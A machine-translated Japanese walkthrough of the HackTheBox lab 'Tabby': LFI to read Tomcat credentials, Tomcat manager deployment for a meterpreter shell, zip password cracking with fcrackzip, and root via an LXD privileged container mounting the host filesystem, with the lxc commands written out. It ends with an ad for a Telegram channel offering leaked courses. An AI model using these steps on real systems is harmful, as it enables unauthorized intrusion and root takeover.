ボックスをハックします。ウォークスルータビー。RCEからTomcatへ、およびLXDを介した特権の昇格



私はHackTheBoxサイトからマシンのファイナライズに送信されたソリューションを公開し続けています



この記事では、TomcatでRCEを取得し、zipアーカイブを壊して、LXDを使用して特権を昇格させましょう。



組織情報
, , Telegram . , , .



. , - , .



偵察



このマシンのIPアドレスは10.10.10.194で、これを/ etc / hostsに追加します。



10.10.10.194 	tabby.htb


最初のステップは、開いているポートをスキャンすることです。これを行うには、次のスクリプトを使用します。このスクリプトは、スキャンされるホストのアドレスという1つの引数を取ります。



#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1






選択肢は少ないので、次のサイトが出会うポート80から始めましょう。







サイトを見回すと、ニュースを表示する興味深い方法がわかります(LFIのヒントがあります)。







また、/ etc / hostsに別のエントリを追加します。



10.10.10.194    megahosting.htb


LFIが利用可能かどうかを確認しましょう。そのためにLFISuiteを使用します。















そして、LFIが見つかります。これ以上取得できないので、ポート8080に移動しましょう。そこで、Tomcatが使用されていることを知るページが表示されます。







興味深いファイルに注目してください。別のリンクをクリックすると、HTTP認証ウィンドウが表示されます。与えられたファイル/usr/share/tomcat9/etc/tomcat-users.xmlを読んでみましょう。







また、ログインに使用できる資格情報があります。ここから、tomcat_mgr_deployモジュールを使用してRCEを取得できます。







必要なパラメータを設定しましょう。







そして、ファイルパスエラーが発生します。



エントリーポイント



少しさまよった後、テキストディレクトリを含むヘルプに出くわしました。











このパスを表示しましょう。







そして、メータープリターセッションを取得します。すばやく偵察を行うために、LinPEASスクリプトをホストにドロップして実行しましょう。







出力を注意深く分析することにより、興味深いファイルを見つけます。







ユーザー



ダウンロードして開こうとします。ただし、パスワードの入力を求められます。











それを繰り返してみましょう。



fcrackzip -D -p ../tools/rockyou.txt 16162020_backup.zip






そして、可能性のあるパスワードを見つけます。アーカイブ自体には興味深いものはありませんが、システムで作成されたユーザーからのパスワードです。







便利な接続のために、SSHキーを作成しましょう。







ルート



秘密鍵を使用してSSH経由で接続し、ユーザーがlxdグループに属していることを確認しましょう。







LXDはシステムコンテナマネージャーです。仮想マシンに似たユーザーインターフェイスを提供しますが、代わりにLinuxコンテナを使用します。



LXDカーネルは、ローカルunixソケット、およびそのように構成されている場合はネットワークを介してRESTAPIを公開する特権デーモンです。 LXDに付属のコマンドラインツールなどのクライアントは、このRESTAPIを介してリクエストを送信します。これは、localhostまたはremoteのどちらにアクセスしているかに関係なく、すべてが同じように機能することを意味します。



しかし、それを介して、つまりルートとしてコマンドを実行できます。このためには、次のソフトウェアが必要になります、ソースをダウンロードしてビルドします。結果のイメージをリモートホストにアップロードします。そして、準備部分の後、lxd互換の画像ファイルをインポートします。



lxc image import ./alpine-v3.12-x86_64-20200810_0015.tar.gz --alias ralf






最初に初期化する必要があると言われていますが、これは後で行うことができます。イメージがロードされていることを確認してください。



lxc image list






それでは初期化しましょう。







画像と名前でコンテナを作成しましょう。



lxc init ralf ignite -c security.privileged=true


そして、ディスクがマウントされる構成を/ mnt / rootとして設定します。



lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true


起動して実行します。



lxc start ignite
lxc exec ignite /bin/sh






そして、私たちはルート権を持っています。Telegramに



参加できます。そこには、興味深い資料、リークされたコース、およびソフトウェアがあります。ITの多くの分野に精通している人々がいるコミュニティを集めましょう。そうすれば、ITと情報のセキュリティの問題についていつでも互いに助け合うことができます。



All Articles